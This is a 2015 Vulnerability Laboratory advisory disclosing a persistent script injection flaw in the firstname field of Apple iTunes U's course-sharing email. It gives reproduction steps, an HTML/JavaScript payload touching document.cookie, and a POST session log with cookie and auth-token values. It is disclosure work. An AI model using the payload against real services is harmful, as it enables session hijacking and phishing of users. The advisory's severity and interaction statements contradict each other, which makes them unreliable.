Apple iTunes U - Persistent POST Inject Web Vulnerability

Document Title:
===============
Apple iTunes U - Persistent POST Inject Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1532

Apple ID: 624515538


Release Date:
=============
2015-08-11


Vulnerability Laboratory ID (VL-ID):
====================================
1532


Common Vulnerability Scoring System:
====================================
3.7


Product & Service Introduction:
===============================
Apple Inc. is an American multinational technology company headquartered in Cupertino, California, that designs, develops, and sells 
consumer electronics, computer software, online services, and personal computers. Its best-known hardware products are the Mac line 
of computers, the iPod media player, the iPhone smartphone, the iPad tablet computer, and the Apple Watch smartwatch. Its online 
services include iCloud, the iTunes Store, and the App Store. Apple`s consumer software includes the OS X and iOS operating systems, 
the iTunes media browser, the Safari web browser, and the iLife and iWork creativity and productivity suites.

(Copy of the Homepage: https://en.wikipedia.org/?title=Apple_Inc. )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input validation web vulnerability in the official Apple iTunes U online-service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-06-21:	Researcher Notification & Coordination (Benjamin Kunz Mejri)
2015-06-22:	Vendor Notification 1 (Apple Product Security Team)
2015-08-11:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Apple
Product: iTunes U - Courses (Web-Application) 2015 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
An application-side input validation web vulnerability and filter bypass has been discovered in the official Apple iTunes U web-application.
The vulnerability allows remote attackers to inject own malicious script code on the application-side of the vulnerable online-service or module.

The vulnerability is located in the firstname input field of the vulnerable `Sent iTunes U & Courses` module. Remote attackers with low 
privilege application user account are able to inject own malicious script codes on the application-side of the notify email service.
The injection point is the vulnerable firstname input of the iTunes U send module. The execution point is the `Sent iTunes U & Courses` 
mail with the malicious injected script code in the firstname value. The attack vector is application-side and the request method to 
inject the script code is POST.

The security risk of the filter bypass and application-side input validation web vulnerability is estimated as medium with a cvss (common 
vulnerability scoring system) count of 3.7. Exploitation of the persistent web vulnerability requires a low privilege web application user 
account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent 
external redirects, persistent load of malicous script codes or persistent web module context manipulation.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] Apple - iTunes U

Vulnerable Parameter(s):
				[+] Firstname

Affected Module(s):
				[+] Sent iTunes U & Courses


Proof of Concept (PoC):
=======================
The application-side input validation web vulnerability can be exploited by remote attackers with low privilege application user account and without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Register an iTunes U account or apple account to login
2. Inject in the registration procedure to the firstname own malicious test script codes
3. Save the entry by sending it via mail to another user
4. Check the inbox and watch the header were the script code is wrong encoded and executes
5. Successful reproduce of the security vulnerability!


Payload(s):
course <h1>PenTestBySamir</h1><img src="src="x" onload=(document.cookie)< >


PoC: Sent iTunes U & Courses - Mail
<p style="font-family:Lucida Sans, Lucida Grande, Arial, Verdana;font-size:13px;line-height:19px;color:#666666;">
Dear iTunes U Instructor,       
    </p>
<p style="font-family:Lucida Sans, Lucida Grande, Arial, Verdana;font-size:13px;line-height:19px;color:#666666;">
"> "> sent you a copy of the course </p><h1>tested by Samir</h1><img src="https://src=">. Sign in to <a style="text-decoration:none;" 
href="https://coursemanager.itunes.apple.com" target="_blank">iTunes U Course Manager</a> to accept the course.
        <p></p>


--- PoC Session Logs [POST] ---
12:48:43.599[462ms][total 462ms] Status: 201[Apple WebObjects]
POST https://p2-u.itunes.apple.com/WebObjects/LZTeacher.woa/ra/courses/COIZADYCBHFN33ZI/copy Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ] Content Size[0] Mime Type[application/x-unknown-content-type]
   Request Headers:
      Host[p2-u.itunes.apple.com]
      User-Agent[Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/json; charset=UTF-8]
      Referer[https://itunesu.itunes.apple.com/coursemanager/]
      Content-Length[29]
      Origin[https://itunesu.itunes.apple.com]
      Cookie[s_fid=778580A733D05D42-3C8CF517C4375090; s_vnum_n2_us=4%7C4%2C5%7C1%2C18%7C1%2C0%7C4%2C3%7C1%2C7%7C1%2C99%7C1%2C35%7C1%2C43%7C1; POD=us~en; searchTermState=search; dssf=1; as_sfa=us; pxro=1; accs=d; ac_DocumentTypeFilterindex=0; ac_Productindex=0; ac_DocumentTypeFilterValues=0; ac_search=/%5C%22/%3E%3Cimg%20arc/%5C%22/x/%5C%22/%3E; ac_IsSearchHomePage=0; s_vnum_n2_it=4%7C1; dslang=US-EN; ds01_a=60591365e36a87b1aa8db2fbe3cdd5847bdef7e8f1a5c4a20a96c8691fd6de2672ff17e652989fbf12f4ec482d1e2bea290cc0a699594dbdb47c25842da52a14ed6dd41274e6702d0b1e0db5f648d6e00db3e44053d3466c752f9811e4371384GZVX; s_vi=[CS]v1|2AC3C55A05010A45-60000108E0012008[CE]; lzhasloggedin=yes; lzHasSeenSplashScreen=yes; lzauth=1a7b78a2669f597f6164aad4466cb372]
      Connection[keep-alive]
      Pragma[no-cache]
      Cache-Control[no-cache]
   Post Data:
      {"appleId":"[email protected]"}[]
   Response Headers:
      x-apple-jingle-correlation-key[GHR5SO74CRCARIJBB7SWHYZRSY]
      x-apple-application-site[ST11]
      access-control-allow-origin[https://itunesu.itunes.apple.com]
      Strict-Transport-Security[max-age=31536000]
      x-apple-course-last-modified[1434967967000]
      Date[Mon, 22 Jun 2015 11:50:47 GMT]
      Set-Cookie[lzhasloggedin=yes; version="1"; expires=Wed, 22-Jul-2015 11:50:47 GMT; path=/; domain=.itunes.apple.com
lzauth=1a7b78a2669f597f6164aad4466cb372; version="1"; path=/; domain=.itunes.apple.com; secure; HttpOnly]
      apple-timing-app[269 ms]
      Cache-Control[no-cache, no-store]
      Access-Control-Expose-Headers[x-apple-course-last-modified]
      x-apple-application-instance[207]
      x-webobjects-loadaverage[1]
      access-control-allow-credentials[true]
      Connection[keep-alive]
      Content-Length[0]


Reference(s):
https://itunesu.itunes.apple.com
http://www.apple.com/education/ipad/itunes-u/
https://p2-u.itunes.apple.com/WebObjects/LZTeacher.woa/ra/courses/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable firstname value in the itunes u module.
Restrict the input and disallow usage of special chars. Setup an own secure exception to prevent malicious input execution.
Encode and filter the mail header with the body context of the stored firstname value in the database management system.


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the apple itunes u online-service is estimated as medium. (CVSS 3.7)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [[email protected]]


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=========================
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